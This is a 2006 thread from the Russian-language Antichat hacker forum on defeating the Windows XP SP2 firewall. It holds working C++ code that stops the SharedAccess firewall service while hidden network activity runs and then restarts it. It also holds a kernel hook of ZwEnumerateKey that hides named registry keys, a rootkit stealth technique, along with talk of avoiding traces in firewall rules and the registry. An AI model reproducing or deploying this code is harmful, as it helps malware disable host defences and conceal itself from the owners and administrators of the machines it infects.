Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Обход Xp Sp2 фаервола (https://forum.antichat.xyz/showthread.php?t=16888)

KEZ 02.04.2006 04:13

Обход Xp Sp2 фаервола
 
идите на***

ac005 02.04.2006 11:30

4e mne s etom delati?

Fashion 02.04.2006 11:32

и что с этим делать, подскажи?

drmist 02.04.2006 12:06

Я для начала попробывал бы откомпилировать в MS Visual C++ 6.0
Вдруг повезет?

Deem3n® 02.04.2006 14:23

код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы":
http://img106.imageshack.us/img106/4...titled2ra1.jpg

А что если воспользоватся более "грубым" способом?
Код:

#include <winsvc.h>
// ...
bool BypassFirewall()
{
        SC_HANDLE firewallService, scm;
        if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS)))
                return FALSE;
        // в ХР интернальное имя файрвола SharedAccess
        if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS)))
        {
                CloseServiceHandle(scm);
                return FALSE;
        }
       
        // останавливаем сервис
        SERVICE_STATUS m_SERVICE_STATUS;
        ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS);

        // далее дожен быть ваш код
        // который работает в обход файрвола
        // ...
        // ...
       
        // запускаем заново сервис
        StartService(firewallService,0,NULL);

        CloseServiceHandle(firewallService);
        CloseServiceHandle(scm);
        return TRUE;
}

естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)

drmist 02.04.2006 15:42

Deem3n®
а втой способ следов не оставляет? ))

qBiN 02.04.2006 22:07

Цитата:

Deem3n®
а втой способ следов не оставляет? ))
Угу))) незапустившегося сервиса чувак точно не заметит))

drmist 02.04.2006 22:57

Хм...
ну не знаю. я бы лишнюю запись в реестре наверно не заметил бы.
Правда и маздаевский фаер не юзал бы ))
Но все равно молодец.

Deem3n® 03.04.2006 09:49

Цитата:

Сообщение от qBiN
Угу))) незапустившегося сервиса чувак точно не заметит))

Сервис будет перезапущен (если ты код смотрел),
а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику. Идеальным вариантом будет использование пары RegSetValueEx и RegDeleteKeyEx каждый раз когда данные должны посылаться в обход файрвола.

Цитата:

Сообщение от drmist
а втой способ следов не оставляет?

->
Цитата:

А что если воспользоватся более "грубым" способом?
я же предложил грубую альтернативу, это что провокационный вопрос или желание попинать ногами?

KEZ 03.04.2006 11:53

Кстати, а ты пробовал этод метод? У меня ощущение что если фаервол выключен, новые приложения доступ к сети не имееют...
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.

Цитата:

а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику.
one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...

Deem3n® 03.04.2006 12:33

Цитата:

Сообщение от KEZ
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.

ну предварительно перед остановкой можно ретривнуть статус сервиса, и если SERVICE_RUNNING то StopService() дабы не вызывать ошибку
Цитата:

Сообщение от KEZ
one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...

3-й раз )) ну это у тебя, а у тех кто читает топик, нет ))

KEZ 03.04.2006 13:57

Код:

WCHAR g_swRegHidePrefix[]  = L"KeyToHide1";
WCHAR g_swRegHidePrefix2[] = L"KeyToHide2";

NTSTATUS NewZwEnumerateKey(
    IN HANDLE KeyHandle,
    IN ULONG Index,
    IN KEY_INFORMATION_CLASS KeyInformationClass,
    OUT PVOID KeyInformation,
    IN ULONG Length,
    OUT PULONG ResultLength )
{
        KEY_BASIC_INFORMATION *kbi = NULL;
        NTSTATUS ret;

        ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength );
        if (!KeyInformationClass)
        {
                kbi = (KEY_BASIC_INFORMATION*)KeyInformation;
                if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 )
                        ret = STATUS_NO_SUCH_FILE;
                if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 )
                        ret = STATUS_NO_SUCH_FILE;
        }
        return ret;       
}

Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра.
API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.),
а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.

ac005 08.04.2006 23:47

это код c++????

KEZ 08.04.2006 23:52

нет, это код к дверям в подъезде


Время: 13:50